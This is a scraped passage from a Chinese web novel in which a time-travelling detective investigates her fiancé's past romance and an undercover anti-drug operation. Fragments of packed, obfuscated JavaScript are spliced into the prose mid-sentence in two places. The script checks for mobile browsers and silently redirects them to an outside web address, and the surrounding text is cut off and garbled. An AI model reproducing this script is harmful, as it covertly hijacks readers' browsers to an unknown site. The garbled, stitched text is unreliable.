楚隽关上车门,安暖说:“要不然,联系一下她的家里人?等她家里人来了,我们再走? “没事儿。楚隽说:“她自己会联系的,我们走吧。 “好…… 但是,安暖觉得自己不会看错。 她在楚隽眼里,看见了一闪而过的担心。 然后他很快就掩饰住了这种担心,变为冷漠。 但刚才被打了那一巴掌,倒是一点都没有生气。 安暖虽然有诸多猜疑,但既然楚隽说走,也没再问,开车回家。 回到家已经十点半了,进了房间,楚隽便说:“我去洗澡。 安暖也去洗了个澡,她身上虽然没有楚 隽那么夸张,但帮忙的时候,也沾了一些血。 温水哗啦啦地冲刷着,一边洗,安暖脑子一边不停。 今儿的事情非常奇怪。 许醉,看着就不是个一般的姑娘。 楚隽在看见她受伤的时候,很关心,很紧张。 但是走的时候又很绝情。 绝情之后,依然担心。 还被打了一巴掌。 这种状态,安暖总觉得在哪里见过。 突然,她手里的香皂掉在地上。 这是爱恨情仇啊。 爱过,恨过,心里还在意,却不得不放弃,可不就是这种状态。 安暖顿时纠结了,莫非楚隽还和哪个黑道千金有过一场缠绵悱恻的过往,爱过,很爱,后来因为身份理想等等原因,不得不忍痛分手。 他可能还辜负了许醉,要不然不能挨那一巴掌,挨完以后一点儿都不生气。 可是楚隽明明跟她说过,没谈过恋爱,没有白月光,没有前女友啊。 安暖这么一想,心里就不是个滋味了。 楚隽这个年纪,别说谈过一个,就是谈过几个,那也很正常。 但隐瞒是不好的。 安暖可以接受楚隽有前女友,但不能接受他隐瞒了一个,爱恨难忘的白月光。 安暖关了水,打算和楚隽谈一谈。 当断不断,反受其害。 感情是相处的多一日,便会深一分的,若是发现不似当初,就要及时止损。绝对不能心存侥幸,付出太多,等沉没成本太大,再难以抽身。 穿了衣服,安暖从冰箱里拿出个冰袋。 那姑娘手劲儿很大,楚隽这脸,说不定明天要肿。冰敷一下会好很多。 过了没一会儿,楚隽也出来了。 洗头洗澡换了一身衣服,身上没有了血腥味,只有香皂的味道很清新。 头发也湿漉漉的,软趴趴地贴在脑门上。 这要是昨天,安暖非得上去捏两下脸。 但现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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安暖忍不住伸手在他脸上掐了一下。 楚隽痛的嘶了一声。 “行了,今天这么晚了,明天还要上班。”安暖拍了拍楚隽的脸:“休息吧。” 说完,安暖起身要走。 楚隽条件反射地想要伸手,可却忍住了。 安暖回了房间,没有开灯,躺在床上思考人生。 第209章 熟悉的节奏 她和楚隽吧,也相处了一段时间。 这个男人,人品是可靠的。 她想来想去,觉得如果有前女友,楚隽完全没有理由瞒着自己。 自己也不是那么矫情的人,过去式了,还能抓着不放吗? 何况,如今前女友都出现了,他却也没有被揭穿的惊慌,还一口咬定,没有。 安暖翻了个身,心里涌上一个想法。 第二天照常起床,照常上班。 楚隽的脸经过一个晚上的紧急修复,恢复如初,已经不红不肿了。 他也没有忧心忡忡的样子,和平时看起来没有什么不同。 安暖也没说什么。 只是到了单位,楚隽没有回办公室,而是跟安暖简单的说了两句,就说有工作要交代,就往楼上走了。 楼上有什么? 有法医室,有各种检验室,还有局长副局长办公室。 安暖看着楚隽的背影,转身去了图书室。 周念川已经到了,看见安暖,自然打招呼:“小安,来了。 “周叔早。 安暖进了图书室,关上门。 图书室里这会儿是不会有人来的。 其实一般图书室都没什么人,就是有人,也是来查资料的,没有来看书打发时间的。 “怎么了? 周念川一看安暖这模样,就是有什么惊天秘密要抖啊。 “周叔,我有件事情想问你。安暖凑过去,不由自主地压低了声音。 “你说。 安暖开门见山:“你知道楚隽之前在警校的事情吗? 周念川的手抖了一下。 看来是知道了。 安暖立刻接着问:“他在警校的时候,是不是处过一个对象? 周念川第一反应是想否认,但是他也知道安暖不是一般人,是刑侦高手。在第一次没有给予正确反应的情况下,一切反应都在对方的观测之下。 现在再否认,来不及了。 他可不想在安暖心里变成一个信口开河,胡言乱语的人。 “是,这事情我也听说一些,据说楚队在警校的时候,确实和一个女同学,处过一阵子。 这是在警校发生的事情,不是在市局发生的事情,而周念川竟然知道,可见这事情知道的人不少,不是一场偷偷摸摸的相恋,是一场热热闹闹的故事。 既然如此,自己作为楚隽现在的女朋友,未婚妻,想了解一下男朋友的过去,就不奇怪了吧 ? 安暖立刻道:“他们为什么分手?” “这……”周念川挠了挠头:“这,这要不你还是去问楚队?我说,会不会不太好?” “怎么不太好?”安暖义正言辞:“周叔,你都知道,可见这不是秘密,你就算是不说,我问别人,也能问出来。” 周念川的表情,显然是这么回事。 安暖道:“我肯定也是要问楚隽的,但是我也想再打听打听。不然的话,要是楚隽骗我怎么办,这样我就能核对一下正确答案。” 周念川想了想。 竟然很有道理。 安暖严肃道:“周叔,我一直把你当成自己的亲叔叔,你可不能骗我。” 周念川被安暖这一说,更不好意思了。 “行,我跟你说说,当**情,怪不得楚队,楚队的人品肯定是没有问题的。” “嗯嗯。”安暖认真听:“周叔你说。” 周念川回忆道:“楚队家世好,个人能力又强,这样的小伙子,在哪里都招姑娘喜欢。他在学校也是风云人物,很多姑娘中意,不过一直看不上谁。突然有一天,跟同班一个女同学处了对象,这女同学叫许醉。” 果然是许醉。 “同班同学处对象,很正常啊,怎么就闹的轰轰烈烈了呢?” “他们处了大约有三个月的对象吧,就闹掰了。因为许醉的哥哥是个混混,犯了事儿,要进去。许醉知道楚隽家里有关系,就想让他帮忙走个后门。但是楚隽不同意,两人就闹翻了。” 安暖就跟听故事一样,哪里怪怪的? 看来楚隽正直不是一天两天的事情,这年代能进警校的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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安暖听见脚步声远远的便知道楚隽过来了。但是他在图书室门口犹豫了一下这才进来。 咱们无所畏惧的楚队长也是会害怕担心的。 昨天那件事情他心虚理亏他害怕。 “暖暖。”楚隽说:“我来找你吃饭。周叔一起去吃中饭吧今天中午我定了醉香阁的包厢。” 离警局不远的一个饭馆是他们常去的地方有安暖喜欢吃的红烧蹄髈。 楚隽坚定的执行老爷子的吩咐。 忙起来的时候就吃食堂。不忙的时候经常带安暖在饭馆吃。 用爷爷的话来说吃的是一个气氛。 “哎你们俩去你们俩去。”周念川连连摆手:“我可不是那么没有眼里劲儿的人。” 小情侣感情好的时候不能在中间当电灯泡。 小情侣疑似闹了别扭就更不能不识相了。 其实楚隽也只是客气一下 安暖没说话。 上了车楚隽先转过身来帮安暖系安全带但是刚碰着就被安暖按住了。 “我自己来。”安暖说。 楚隽顿了一下没说什么。 饭店是上午打电话预定过的安暖到的时候菜已经差不多准备好了。 午休时间有限虽然没案子楚隽也不好带头在外面一顿饭吃到三四点还是要注意一些影响。 两人进了包厢上了菜开始吃。 越吃楚隽越心慌。 因为安暖的反应有点不正常。 她没有反应。 按楚隽对安暖的了解这姑娘可受不了什么气。 什么委曲求全按兵不动察言观色自己开导自己自己哄自己那是不存在的。 心里不痛快十有**要翻脸。 但楚隽察言观色敬小慎微的吃完饭也没见安暖跟他摊牌心里忐忑的同时只觉得暴风雨要来。 安暖终于吃完了饭喝了口水擦了擦嘴。 她清了清嗓子说:“楚隽……” 话没说完楚隽突然伸手按在安暖的手上打断道:“别跟我分手。” 安暖看着楚隽有些意外。 楚隽见安暖不说话心里更没底。 “别跟我分手。”楚隽手上的力气又大了一些好像生怕安暖会甩开他一样:“暖暖昨天的事情我跟你道歉。” “我没生气。 安暖用另一只手,拍了拍楚隽的手背。 “真的? “当然。安暖说:“我要是生气,一定会告诉你的。我这人,你还不了解吗?生气就是生气,忍着是委屈自己,我不会委屈自己的。 对,没错,安暖就是这个性格。这段时间,其实安暖碰见了不少事情,但从不委屈自己。 楚隽松了口气,长长的呼出口气。 “暖暖,我只喜欢过你一个人。楚隽说:“我发誓,我绝对不会背叛你。 “嗯,我知道。 楚隽的面上,有点苦涩。 “但是……如果有一天,我不得不做一些,可能会伤害你的事情,你会原谅我吗? 安暖心里叮的一声,响起一声警报。 事情不对。 一般来说,当一个人对另一个人说出这句话的时候,就代表,这件事情即将发生。 楚隽要干什么? 安暖沉思片刻。 “你指的不得不做,是为什么不得不做?是一己私欲,还是家国大义? 楚隽没有说话,只是这么看着她,然后突然起身,抱住了安暖的肩膀。 等了许久,安暖终于也搂住了楚隽的肩膀。 “如果是正确的事情,你就去做。该懂的,我都懂,你不能说,就不用说。 这是一个长久的,沉默的拥抱。 就在安暖觉得楚隽要变成一个雕像,长在自己身上的时候,终于,他长长的,缓缓地吐出一口气。 整个人都放松了下去。 “对不起。楚隽说话的气息,温热的洒在安暖的耳边。 “不用说对不起。安暖蹭了一下他的脸:“我能理解。 这一顿饭,终究还是超了时。 回去的时候,已经是上班时间。 远远的,看见有个人站在警局门口。 一个一身黑衣的男人,精瘦精瘦的,看着就不太好惹。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15638190|171229||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 楚隽开着车,在大门口停下,等着开门。 男人走了过来,敲了敲车窗。 楚隽打开门。 安暖看了过去。 这男人真是瘦,不但身形瘦,脸也瘦,瘦的有棱有角的,十分有辨识度。 “楚队。男人说:“我想跟你聊聊。 楚隽淡淡道:“你是谁? 男人说:“我是许醉的大哥。 安暖看着男人,只是表现出一点点好奇,但是心里,真 的十分好奇。 按照周念川说的,许醉当年闹的离开警校的事情,就是想要走后门捞出犯了事儿的哥哥。 可后来显然没有成功。 她的哥哥没被捞出来。 当然,事情已经发生有一段时间了。她哥哥就算当时进去坐牢了,现在应该已经出来了。 可是,许醉不过是一个警校生,也没听说有什么大的背景,她哥哥,是这么厉害吗? 要不是有一定的能力,怎么敢来找楚隽? 楚隽道:“我和她,没有什么好说的。我和你,也没有什么好说的。” 一脸冷漠。 但男人只是笑了一下:“昨天晚上,你救了她。于情于理我这个做哥哥的,也是要来感谢一下的,要不然的话,被人知道了,说我不懂礼节。” 男人说完,视线落在安暖身上。 “这是……楚队的新女朋友?” 安暖面无表情的看他。 这个新字,吐字的时候音节咬的格外的重。 看样子,就是想让她问一声,新的在这里,旧的是谁呢? 安暖还就偏偏顺着他的意思,问道:“阿隽,这是你的朋友吗?” 楚隽板着脸说:“不是。” 门卫走了过来:“楚队,要不然进去再说,你这车堵在门口不太好。” 楚隽这才发现,大门口确实不是个说话的好地方。 “进来说吧。”楚隽毫不客气的关上车窗,自顾自的往里面开去。 男人也不介意,晃晃悠悠的跟着走了进去。 安暖看了一眼楚隽,低声道:“注意安全。” 第211章 人体藏毒 车在停车场停下,黑衣男人晃了过来。 楚隽说:“你先进去。” “好。” “中午我要是没找你,你就和周叔去吃饭,我这几天可能有点忙。” “好。” 楚隽并不下车,安暖下车之后,黑衣人就上了车,关上了门。 两人就在车里说起了话。 安暖慢慢地往图书室走。 这事情显然是蹊跷的,但是楚隽不说,她不能再问了。 别说她现在什么都不是的身份,就算是刑警队的人,也不是什么都能共享的。 有些秘密,单线联系。 去了图书馆,安暖心里有些不安,她心里一动:“周叔。” “怎么了?” “我能看一看咱们局里之前的大案卷宗吗?” “怎么想起来看那个?” “多看看卷宗,也能多熟悉熟悉案子。毕竟书我看得很多了,真实案例,看得有限。” 警局的卷宗当然是要保密的,但是周念川一直把安暖当自己人,这些日子她在局里,在各种案子里也没少出力。有楚隽这一层关系,都当她是预备役。 尘封已久的卷宗,周念川觉得看看也行。 档案室里,书架上一排一排,整整齐齐。 按年份,一个文件袋一个文件袋,装的整齐。 安暖算了算时间。 现在是一九八四年,楚隽来市局五年,他是一九七九年毕业的,毕业前一年,就是一九七八年。 许醉离开警校,是在十月。她和楚隽处对象开始,就在布局,再往前推三个月。 一九七八年的七月,或者更早,这事情就发生了。 这不是一件小事。 能让警方安排人去做卧底,还是这种预谋已久的卧底,横竖不过那几件事情,小事情都不配。 这么大的案子,之前必有端倪。 安暖也不能做的太明显,找了几年前的卷子,慢慢地看。 周念川对她没有怀疑,只是在一边给她筛选案子。 中午的时候,周念川看了看时间:“今天楚队没来,小安,要不要跟我去吃饭?” “哦,我不去了,我这个案子还没看完。”安暖说:“周叔,你给我带两个包子吧。” “行。” 周念川应着。 他就喜欢安暖这种热爱学习的年轻人,天分很重要,勤奋也很重要,所以他特别愿意帮衬。 周念川吃饭去了,安暖立刻站起来。 她之前就已经看好了位置,就在左手边的一排。 安暖快速一个个抽出来看了,看完之后,觉得这样不行。 有一部分卷宗是密封的。 这封条确实一撕就开,可是她不能这么干。 这是犯罪啊,虽然她着急,也不能犯罪。要是被抓住了怎么办,总不能穿越过来唱一个铁窗泪吧。 周念川回来的时候,安暖还是坐在桌边。 “来,先吃饭。”周念川说:“吃完饭再看。” 安暖合上卷宗,接了包子一边啃一边说:“周叔,你知道图书馆在什么地方吗?下午我想去一趟。” “图书馆啊,不远。” 周念川给安暖详细说了一下位置,好找。 安暖有车,出门方便。 “好,谢谢,那我去了。”安暖匆匆忙忙地,先去了一趟刑警队。 楚隽不在。 “卢哥。”安暖说:“知道楚队去哪儿了吗?” “不知道啊,没有说。” “哦哦,我去一趟图书馆找点资料。”安暖说:“麻烦卢哥帮我跟楚队说一声,要是找我就给我发消息。要是不找我,图书馆关门,我就自己回去。” 安暖拍了拍腰上。 虽然没有手机,但咱也是有BB机的人了,简单的联系还是可以做到的。 “好的,没问题。”卢瑞泽应着:“小安,你可真好学,你做什么都会成功的。” 安暖超卢瑞泽挥了挥手,快步出门。 她不能对着楚隽问东问西,那是犯纪律的,但是可以自己查。 一边走,安暖在心里遗憾。 以前也没想过自己会穿越啊,要是知道的话,早点想办法把这段时间发生的案子都给过一遍,自然就能一切尽在掌握。 这年代又没个电脑什么,只好用最原始的办法了。 查报纸。 社会新闻,十有八九是会上报纸的。 当然不会写的太详细,但是一定会有,外行看热闹,内行看门道。 首先要确定一下大概的方向。 图书馆里应有尽有。 图书馆里,有这些年的报纸可以查阅,几年前的已经收了起来,但是申请就行了。 工作期间,图书馆里人不多。 查阅往期报纸的地方,只有安暖一个人。 她按着时间,将一九七八年的报纸挑了出来。 一张一张的翻。 报纸上的内容,对安暖来说都挺新鲜的,但是现在没时间好奇,安暖在报纸上找那些可能有用的东西,也许只是只言片语,也许只是一条很简短的新闻报道。 但不是没有方向的。 一个案件出来,要有始有终。 但这案子,只有始,没有终。 因为许醉还没有脱离。 六年了,许醉还在其中,时间跨度那么长,可见这事情有多大。 真是三年又三年,三年再三年。 一个小时之后,安暖找到一条不显眼的新闻报道。 有五具开膛剖腹的女尸,在郊外被发现。警方多方调查,暂时没有发现,希望广大市民最近出行注意安全,警方一定会全力侦破。 五条人命,还死得那么蹊跷,这是个大案子了。 这种案子,是一定会交到市局刑警队去的。 但是在她今天看的档案里,并没有这个案子。 所以这个案子,被封存了。 五条人命,就算是再凶残,也不过是一起命案。 天大地大,命案多了去了,别说死五个,就是死十五个,也就是一起命案。别说只是被开膛剖腹,就算是被切块剁泥,也就是个命案。 安暖细细的回忆。 上辈子,这辈子,她所有的记忆中,都没有这样一个案子。 而开膛剖腹,如果是在四十年后,还有可能是偷盗器官,在这个科学技术根本不支持这么高难度移植的年代,只有一个原因了。 人体藏毒。 安暖掏出笔记本,记下了这一条新闻。 第212章 入局 按着时间线往下翻,还是这个版面,安暖一直往下看了半年,也没有看见这案子有什么后续。 案发的时候有报道,如果破案了,也一定会有报道的。 可她看过警局里这十年内所有的未破悬案,也没有这一起。 这么大的一个事情,不可能就这么销声匿迹了,一定得有一个交代。如果没有,一定有一个说法。 安暖从图书馆出来的时候,心里大概有了数。 沾上了毒,这事情就凶残了。 BB机没有来消息,楚隽怕是忙得顾不上自己了,如果这事情真的和她想的一样,那不单单是顾不上自己这么简单。 安暖看了看时间,忧心忡忡地回了三室套。 到了门口,正要拿钥匙开门,突然停下了手。 在门旁边的白墙上,她看见一个三角形。 是用硬物画上去的,一个浅浅的三角形,中间两条横杠。 安暖心里咯噔了一下,顿时收回了手,一点没有迟疑的转身往楼下走。 她猛的想起来,在有些案子里,凶手会上门踩点,确定无误之后,会留下记号。 谁会在自己家门口的墙上刻下痕迹呢,非常时刻,宁可信其有,不可信其无。她可不想成为楚隽的累赘。 安暖下了楼,转去了隔壁巷子里的一家有电话的杂货铺。 拨通了家里的号码。 电话响了几声之后,有人接了。 那边没有人说话。 安暖清了清嗓子:“你好,我找梁恒同志,我是他的同事。” 那边顿了顿,一个男人的声音说:“打错了。” 然后电话便挂了。 安暖心里一片冰冷。 这不是楚隽的声音,家里进了陌生人。 这人是谁?是冲楚隽来的,还是冲她来的? 这个时候,安暖不得不又一次恨这个没有手机的出现。 她立刻给楚隽的办公室打了电话,可是人不在,说是还没有回来。 她甚至不敢给楚隽的BB机留言,谁也说不定楚隽现在是在一个什么场合里,如果正在和人周旋,她发出去的任何一个留言,都很可能打草惊蛇。 挂了电话,安暖立刻开车回警局。 先要保证自己的安全,那是最安全的地方。 然后,再想办法。 第一不要成拖累,第二,争取能帮忙。 谁也没想到,安暖在公安局门口,又看见了许醉。 楚隽和许醉正在说话。 两人似乎起了什么争执,旁边还站着今天下午来找楚隽的黑衣人。 黑衣人抱着胳膊站在一旁,还是一副看着就叫人想抽的表情。 安暖下午出门,开的是楚隽的车。 这车一出现在警局门口,三个人都看见了,一起看了过来。 安暖也就将车停了下来,摇开了车窗。 楚隽下午看来真没在局里,所以不知道安暖出去了,见她从外面回来,有些意外。 “你去哪儿了?” 安暖说:“图书馆。” 一个非常稳妥的答案,又真实,也没有任何可以怀疑的地方。 楚隽说:“今天晚上我有事情,你自己先回去。” “好。”安暖应着。 安暖朝许醉点了点头:“你是那天晚上的同志,你的伤好了么?” “好多了。”许醉走过来,笑了一下:“那天晚上,多谢你送我去医院。” “不客气。”安暖说:“不是我送的,是楚隽送的,你谢他就好。” 许醉回头看了楚隽一眼:“不用谢他,他送我,是应该的。” 安暖脸上,露出一抹疑惑。 黑衣人突然开了口:“你好,你是安暖,对吗?” “是。” “我是许骧,她的哥哥。” “我知道。”安暖说:“今天白天的时候,你介绍过了。” “哦,对。”许骧说:“昨天晚上,你救了我妹妹,十分感激。” “不用客气。” 安暖说着,打算离开。 没想到许骧说:“今天晚上,我可以请你吃个饭吗?” “啊?” 安暖很意外。 这是什么发展。 许骧说:“今天晚上,楚队和我妹妹有事情谈,他们要出去吃饭。既然借用了你男朋友,那我做哥哥的,自当补偿。我请你吃饭,也算是对你的感谢。” 安暖还没来得及拒绝,楚隽就过来了。 “许三,暖暖不习惯和陌生人吃饭,就不必了。” “是。”安暖说:“我不喜欢和陌生人吃饭。” “现在是陌生人,吃一顿饭,不就熟悉了。”许骧不依不饶:“楚队,你不会不放心我吧?不走远,就在你们单位门口吃,有些话,你不觉得,还是我来说更合适吗?” 楚隽竟然犹豫了一下。 然后说:“暖暖,既然他是真心的,你就给他个面子吧。晚一点我来接你,我有事情要跟你谈。” 安暖有点疑惑,但楚隽竟然让她答应和许骧吃饭。 这就说明了一件事情。 这个许骧,不是坏人。 是一个让楚隽绝对放心的人,要不然的话,他是不会让自己去冒险的。 “好。”安暖说:“那我把车停了就出来。” 楚隽点了点头。 安暖突然朝他勾了勾手:“楚隽,你过来一下。” 楚隽走了过去。 安暖此时还坐在车里,楚隽居高临下,只好低头过去。 安暖一把就搂住了他的脖子,飞快地凑过去,在他脸上亲了一下。 就这一下,安暖用别人听不见的声音在他耳边低声说:“家里进了人。” 楚隽眼神一变,低低地嗯了一声。 “好了,晚上吃饭少喝点酒。”安暖已经放开了手:“你先走吧,我去停车。” 等安暖停车出里的时候,只有许骧在门口等她,安暖和许醉都不见了。 许骧走了过来,做一个邀请的姿势。 “安同志,请。” 许骧也觉得安暖不会跟他走太远,挑选的饭店就在警局对面,也是安暖常去吃的一家。 要了一个包厢,两人坐下。 点了一些家常菜,没有要酒。 很快,菜都来了。 安暖用筷子戳了戳菜,没什么胃口,终于放下筷子:“你有什么话要对我说,就直说吧。” 许骧随身带着个公文包,就放在一旁的椅子上,此时,他将公文包拿了过来。 “你是个爽快人,那我就直说了。” 第213章 无名英雄 安暖做了个请的手势。 也不知道是不是自己的错觉,她总觉得眼前这个许骧看着有点眼熟。 好像在哪里见过。 可是在哪里见过呢? 她在这个年代时间不长,认识的人一个一个的回忆过去,也没有一点印象。 按理说,许骧的脸辨识度是很高的,如果见过,没有道理不记得啊。 安暖盯着许骧的脸,脑子里只有一个想法。 死脑子,快想啊。 只见许骧从公文包里拿出了一个鼓鼓囊囊的信封。 又拿出了一把刀,一左一右,放在了桌子上。 安暖皱眉道:“这是什么意思?” 许骧一笑。 “你果然和我查出来的一样,不是一般的女人。” “你查我?” “别误会。”许骧说:“我对你没有什么意思,我查你,是因为你挡着我妹妹的路了。” 安暖皱眉道:“有话直说。” 许骧笑道:“爽快,我就喜欢和爽快人说话。你应该也知道了,我妹妹和你男朋友,以前处过对象。” “知道啊。”安暖道:“怎么了,有什么问题?” 五年前了,不是五个月前,总不能说自己怀孕了求负责吧。 许骧道:“他们当年分手,其实是一些误会。如今又碰见了,这是缘份,想要再续前缘。但是楚隽现在有女朋友,他又是个道德底线比较高的人,所以,我来帮他一把。” 安暖用一种,有点蠢蠢的目光看着许骧。 许骧说:“这里,是五万块钱,如果你愿意离开楚隽,这钱就是你的了。” 万万没想到啊,万万没想到。 五万块钱,可不少。 在这个万元户都叫人羡慕的年代,五万块,是大部分人家一辈子也赚不到的钱。 红彤彤的百元大钞,一摞一百,露出诱人的模样。 和楚隽在一起后,安暖曾经是想过眼前这样的一幕的,但她的假象对象是楚母。 给你五百万,离开我儿子。 万万没想到,是楚隽前女友的哥哥。 许骧见安暖没有说话,慢条斯理的拿起匕首。 “如果你觉得钱少,我们可以谈,再给你加点也无妨。但如果你不识时务,不知好歹,我也不是没有别的手段。” 安暖在心里盘算了一下,毅然道:“不可能。” 许骧一下子站了起来。 “我不会为了钱离开楚隽的。”安暖说:“别说五万,五十万也不行。” “不要钱,也不怕死吗?” 许骧走了过来,匕首一晃,就贴在安暖的脸上。 安暖从不赌博,但是她对自己有信心。 她看人,一向准。 “不怕。”安暖说:“别以为你威胁我几句,我就会放弃楚隽。我是不会和他分手的,他和你妹妹也不合适,我相信他是爱我的。” 匕首冰冷冰冷的,贴在安暖脸上,甚至能看见它闪着寒光。 许骧动了动手腕,匕首从脸上,轻轻的划到了脖子上。 “安暖,你可真是不见棺材不落泪啊。” 安暖睁着眼睛,无所畏惧看着许骧:“你要是杀了我,或者伤了我,楚隽就算是对你妹妹有感情,也绝对过不去心里这一关。” 看的出许骧很犹豫,他握着匕首的手,稳如磐石。 安暖突然一动,站了起来。 这动作像是自己迎向了刀锋一样,反倒是把许骧吓了一跳。 许骧猛的收回手,差一点划伤自己。 果然是吓唬吓唬人的,安暖心里更笃定了。 她还没想来许骧是什么人,也不知道他们的计划是什么,但是,既然楚隽开口让她和许骧出来吃饭,那这个人就是绝对安全的。 是绝对不会伤害她的。 只有自己人,才是绝对安全的。 安暖突然脸色一遍。 许三,许三,这个名字,在脑海里某个地方闪了一下。 那是上辈子的事情,也就是四十年后的事情。 她曾经在调查某个案子的时候,接触过一个人。 一个将近六十岁的老者,曾经有案底,做了十年牢,在狱中表现不错,出狱后,表现也不错。学了一门手艺,还是他们帮忙介绍的工作。 那人叫雷晓飞,绰号雷东子。 他们调查雷晓飞的时候,自然会查他所有的事情,就一起查了他在二十岁的时候犯的事儿。 就是和毒品相关。 和一起毒品案件有关,但他只是其中非常小的一个喽啰,从犯的从犯,所以只判了十年。 在雷晓飞的口供中,就有这么一个名字的存在,许三。 这个人也是雷晓飞听说的名字,是他们团伙中比较厉害的一个人,和他的身份天差地别。 刚才楚隽叫许骧,就是叫许三,应该是他的绰号。 人在江湖,都是绰号。 可惜当年他们调查的是雷晓飞身上牵扯的另一个案子,而不是已经侦破了的几十年前的毒品案,所以没有在意不相关的信息。 许骧看着安暖似乎心不在焉,不由道:“安暖?” 安暖回过神来:“我刚才听楚隽喊你,许三。这是你的绰号,还是在家排行老三?” 许骧没想到安暖会问这个。 “都……算吧,要是你不介意,也可以喊我一声三哥。” 许骧侧过脸去,打算回自己的位置上。 安暖突然喊了声:“别动。” 吓了许骧一跳,可是他还挺听话,竟然真的定住了不动。 安暖坚信自己一定见过这个人,这张脸。 当时拼命想的是来这个年代以后的事情,但如今被许三的名字启发了,她开始往上辈子想。 这辈子见过的人有限,但是上辈子见过的人多啊。 如果这个人是楚隽认证过的好人,那身份就缩小了许多。 安暖简直把脑浆都要想出来了,突然,就心里一动。 想起来了。 难怪只是似是而非的觉得熟悉,而不是真的见过。 她见过的,是许骧的轮廓。 因为许骧的脸很瘦,和有标志性,所以这剪映轮廓,和旁人也不一样。 她是在一个每年都要去的地方,见过这个轮廓。 烈士陵园。 某个缉毒英雄的无名墓,上面有一张照片。照片上,只有一个剪映。 和站在面前的许骧,一模一样。 第214章 我想为你过生日 安暖的心顿时就狠狠的痛了一下。 记忆如潮水般涌上来。 她记得很清楚,她曾经擦过这块墓碑,墓碑上没有名字没有照片,但是,她曾经感慨过,这是一个年轻的无名英雄,只有二十七岁,就英勇牺牲。 许骧等了一会儿,也没听见安暖说话。 他有些奇怪的回到了自己的位置,正打算继续跟安暖聊聊呢,一抬头看她的表情,吓了一跳。 安暖的眼睛有点红。 这是怎么了,刚才自己的举动还是吓着她了吧? 虽然注表现的再冷静,毕竟是个二十出头的小姑娘啊,哪里见过这样的凶神恶煞,回过神来,能不害怕吗? 不过害怕就好,今天晚上,他就是要让安暖害怕,要她知难而退。 碰上她刚才那天不怕地不怕的刺头样子,反而很麻烦。 又不能真的给她来一刀,戳个窟窿。 “吓着了?”许骧勾起唇一笑:“这就对了,我还以为你天不怕地不怕呢。小安同志,识时务者为俊杰,一个男人罢了,心都不在你这里了,人还留着做什么?拿着钱,有了这些钱,什么男人找不到,是不是?” 但安暖伸手将钱推了回去。 “钱,我是不会收的。”安暖说:“不过和楚隽分手的事情,也不是不可以。” 钱,万万不能收。 许骧来找她,调查过她,那未必只有许骧一个人知道她的性格。 收钱离开楚隽,这是崩人设,会叫人怀疑。 许骧:“你说说看。” “好聚好散,冤有头债有主。”安暖说:“我从来都不是个死缠烂打的人,楚隽想跟我分手另觅良人,这很简单,你叫他来找我,自己和我说,我立刻就答应,绝对不会纠缠。” 敢作敢当,敢爱敢恨,这就是安暖的人设。 “别人说是没有用的。”安暖说:“给我钱也没用,刀架在脖子上也没用,我这人,就是这样的性格。” 宁折不弯,宁死不屈。 许骧犹豫了一下,收起了钱。 “好,既然如此,就让他自己和你谈吧。本来我想着,你们见面谈这个会尴尬,还想做个好人来着。” 许骧将钱放回公文包,又将匕首放回公文包。 “那咱们就谈完了,吃饭,菜都上来了,不吃浪费。”许骧邀请道:“要是不够,再点其他的。” “不用了,我真的不饿。”安暖起身,突然往前倾了倾身体:“许三哥今年,多大了。” 这问题问的,一个比一个猝不及防。 许骧愣了一下:“二十六……不过快二十七了,再有十天,就二十七了。怎么,小安同志,要给我介绍对象吗?” “没有,我没有对象给你介绍。” 许骧奇道:“那为什么问我的年龄?” “我会看相。”安暖装模作样的掐了掐手指:“我算出来,你在二十七岁生日之前,会有血光之灾,可能会有性命之忧。” 许骧脸色微变,然后哈哈了一声:“小安同志还会算命呢,这可是封建迷信。” “不是封建迷信,我是认真的。”安暖说:“从现在开始,到你二十七岁生日之前,这十天,务必小心再小心。能多一分就多一分,能多谨慎就要多谨慎……许三哥,你能答应我吗?” 她不能说的太多,有些事情是没有办法解释的。 总不能说,许骧,从现在开始到你过完二十七岁生日,你躲得远远的,找一个没人认识的地方,不要出门不要见人,不要去做危险的事情。 那是不能说的,说了许骧也不会相信。哪怕就算说出自己是穿越过来的,看见了他的未来,对方也不会相信的。 这也不奇怪,因为这确实太诡异了。 安暖来到这个年代第一个坚定的念头就是,绝对不能暴露自己的真实身份。 最好不要改变历史的进程。 但看着没有几日后就要牺牲的许骧,她是真的忍不住要多说几句。 也只能说到这里了,许骧能不能听进去,能不能躲过这一劫,最终还是要看天意。 希望老天爷对好人,多一些善意。 而许骧之所以会在十天内死亡,估计和现在楚隽要去做的事情也是有关系的。 希望大家都没事儿才好。 “许三哥。”安暖正色道:“我想给你过二十七岁的生日,行吗?” 许骧被弄的一愣一愣的,要不是因为这是楚隽的女朋友,都差一点要问出一具,你不会是喜欢我吧? 楚隽的女朋友,对自己一见钟情? 那可使不得,朋友妻,不可妻,他可不敢想这样的事情。 安暖也不用他答复,站起身道:“我先走了,就这么说定。这十天,你一定要非常小心,凡事多想几步,多防备一些。等你二十七岁生日,来找我,我给你买蛋糕。” 说完,安暖就出去了。 许骧呆呆的在包厢里坐了好一会儿,这才离开。 一桌子的饭菜,几乎没怎么动。 安暖离开之后,直接就去了警局。 她有事情要做。 三室套肯定是不能回,她也不打算回去傻傻的等。 之前是完全没有头绪,所以想着只要不拖后腿就行,现在有了头绪,安暖就不只满足于不拖后腿了,不然的话,自己查出来那些事情的意义是什么。 